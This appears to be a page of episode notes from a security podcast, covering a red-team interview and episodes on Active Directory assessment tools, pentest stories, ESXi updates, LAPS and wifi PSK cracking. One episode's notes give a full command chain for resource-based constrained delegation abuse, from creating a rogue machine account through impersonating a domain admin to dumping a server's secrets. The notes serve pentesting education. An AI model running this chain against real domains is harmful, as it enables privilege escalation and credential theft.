7MS #326: Interview with Ryan Manship and Dave Dobrotka

7MS #326: Interview with Ryan Manship and Dave Dobrotka

Today's episode is brought to you by my friends at Dashlane, a fantastic password manager for you, your family and your business! Head to www.dashlane.com/7ms and use the code 7MS for 10% off a year of Dashlane Premium!

Today I'm super pumped to be joined by Ryan Manship of RedTeam Security and Dave Dobrotka of United HealthGroup. Both these guys lead red teams for a living and had a lot of great insight to share as it relates to:

  • The definition of "red teaming" and where it overlaps, if at all, with pentesting
  • Successfully running red team campaigns
  • Defending against a red team campaign
  • How to climb unclimbable walls
  • Is antivirus any good at stopping attackers?
  • The importance of 2FA and training your end-users
  • How to fool the "This email originated outside your organization" email banners
  • How to break into red teaming as a career
  • How to successfully break into a casino (or not)

Other links and things mentioned in today's show:

  • RedTeam Security's awesome YouTube video on breaking into the US power grid

  • If you're a red teamer and in the Twin Cities area (or willing to drive a bit), you definitely want to sign up for ArcticCon coming up on October 23-24 at the Optum World Headquarters. Head to the link and sign up - if there are seats left!

Once you listen to today's episode, please let me know if you'd like Ryan and Dave to come back for another interview. We were thinking it would be a blast to talk about the details of planning a red team engagement!

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7MS #527: First Impressions of Purple Knight

7MS #527: First Impressions of Purple Knight

In today's episode we talk about Purple Knight, a free tool to help assess your organization's Active Directory security. I stuck Purple Knight in our Light Pentest LITE pentest training lab and did an informal compare-and-contrast of its detection capabilities versus PingCastle, which we talked about in depth in episode #489.

1 Jul 202252min

7MS #526: Tales of Pentest Pwnage - Part 37

7MS #526: Tales of Pentest Pwnage - Part 37

Today's another fun tale of pentest pwnage - specifically focused on cracking a hash type I'd never paid much attention to before: cached domain credentials. I also learned that you can at least partially protect against this type of hash being captured by checking out this article, which has you set the following setting in GPO: Under Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options set Interactive logon: Number of previous logons to cache to 0. Be careful, as you will have login problems if a domain controller is not immediately accessible! In regards to defending against secretsdump, this article I found this article to be super interesting.

24 Jun 202234min

7MS #525: First Impressions of InsightIDR - Part 2

7MS #525: First Impressions of InsightIDR - Part 2

Today we're sharing an updates to episode #512 where we ran Rapid7's InsightIDR through a bunch of attacks: Active Directory enumeration via SharpHound Password spraying through Rubeus Kerberoasting and ASREPRoasting via Rubeus Network protocol poisoning with Inveigh. Looking for a free way to detect protocol poisoning? Check out CanaryPi. Hash dumping using Impacket. I also talk about an interesting Twitter thread that discusses the detection of hash dumping. Pass-the-hash attacks with CrackMapExec In today's episode I share some emails and conversations we had with Rapid7 about these tests and their results. I'm also thrilled to share with you the articles themselves: Getting Started with Rapid7 InsightIDR: A SIEM Tutorial Testing & Evaluating SIEM Systems: A Review of Rapid7 InsightIDR

17 Jun 202233min

7MS #524: How to Update VMWare ESXi From the Command Line

7MS #524: How to Update VMWare ESXi From the Command Line

I'm extra psyched today, because today's episode (which is all about updating your VMWare ESXi version via command line) is complemented by video: https://www.youtube.com/watch?v=0-XAO32LEPY Shortly after recording this video, I found this awesome article which walks you through a different way to tackle these updates: List all upgrade profiles: esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml Grep for just the ones you want (in my case ESXi 7.x): esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0 Apply the one you want! esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0

10 Jun 202233min

7MS #523: Local Administrator Password Solution - RELOADED!

7MS #523: Local Administrator Password Solution - RELOADED!

Well friends, it has been a while since we talked about Microsoft's awesome Local Administrator Password Solution - specifically, the last time was way back in 2017! Lately I've been training some companies on how to install it by giving them a live walkthrough in our Light Pentest LITE lab, so I thought it would be a good time to write up a refreshed, down and dirty install guide. Here we go! (See the show notes for today's episode for more details!)

3 Jun 202238min

7MS #522: Pwning Wifi PSKs and PMKIDs with Bettercap - Part 2

7MS #522: Pwning Wifi PSKs and PMKIDs with Bettercap - Part 2

Hey friends, a while back in episode #505 we talked about pwning wifi PSKs and PMKIDs with Bettercap. Today I'm revisiting that with even some more fun command line kung fu to help you zero in on just the networks you're interested in and filter out a bunch of noisy events from bettercap in the process.

27 Mai 202235min

7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD: # From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources. Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

20 Mai 202257min

7MS #520: How to Succeed in Business Without Really Crying - Part 11

7MS #520: How to Succeed in Business Without Really Crying - Part 11

Hey friends, today we're giving another peek behind the curtain of what it's like to run a cybersecurity consultancy. Topics include: Setting the right communication cadence - and communication channels - with a customer during a pentest. Tips for collaborating well with contractors so that the customer experience feels like "a single human pane of glass" (insert barf emoji here). How we're using Intercom to publish self-help/FAQ articles for 7MS.

13 Mai 202248min

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